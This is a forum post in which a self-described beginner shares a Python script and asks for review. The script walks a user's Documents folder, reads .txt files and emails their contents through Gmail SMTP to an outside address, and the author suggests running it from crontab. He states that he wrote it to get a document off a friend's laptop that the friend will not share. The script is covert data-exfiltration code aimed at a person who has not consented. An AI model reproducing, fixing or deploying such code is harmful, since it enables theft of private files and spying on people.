I'm submitting yet another of my n00b scripts.It works
It is meant to run though a path and fetch a file (i have tested .txt only) and read into the targeted file and send the contents of the file as an email.
a good one if it added to crontab .could send at specified intervals.
honestly i wrote this one thinking about a document in my friends laptop which he so refuses to share.
kindly check it out and highlight any issues or better ways to do the same.
Regards,
pyte
import getpass
import os
import fnmatch
import datetime
import smtplib
#specs
Username = getpass.getuser()
rootPath = ('/home/'+Username +'/Documents/') #add a path to target
pattern = '*.txt'
Last_edit = datetime.datetime.fromtimestamp(os.path.getmtime(rootPath))
Current_time = datetime.datetime.now()
File_age = Current_time - Last_edit
#while Targeting a specific user
if Username == "some_specific_user_name" :
for root, dirs, files in os.walk(rootPath):
for filename in fnmatch.filter(files, pattern):
#how old the file is in hour
if File_age > datetime.timedelta(hours =1):
print filename
#sends email with attachments being the captured files
#to get the exact file path
Path = rootPath +filename
fo = open(Path, "rb")
filecontent = fo.read()
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
sender = 'userx@gmail.com'
password = '*******'
recipient = 'recipienty@gmail.com'
subject = 'Alot of crap'
body = filecontent
body = "" + body + ""
headers = ["From: " + sender,
"Subject: " + subject,
"To: " + recipient,
"MIME-Version: 1.0",
"Content-Type: text/html"]
headers = "\r\n".join(headers)
session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
session.ehlo()
session.starttls()
session.ehlo
session.login(sender, password)
session.sendmail(sender, recipient, headers + "\r\n\r\n" + body)
session.quit()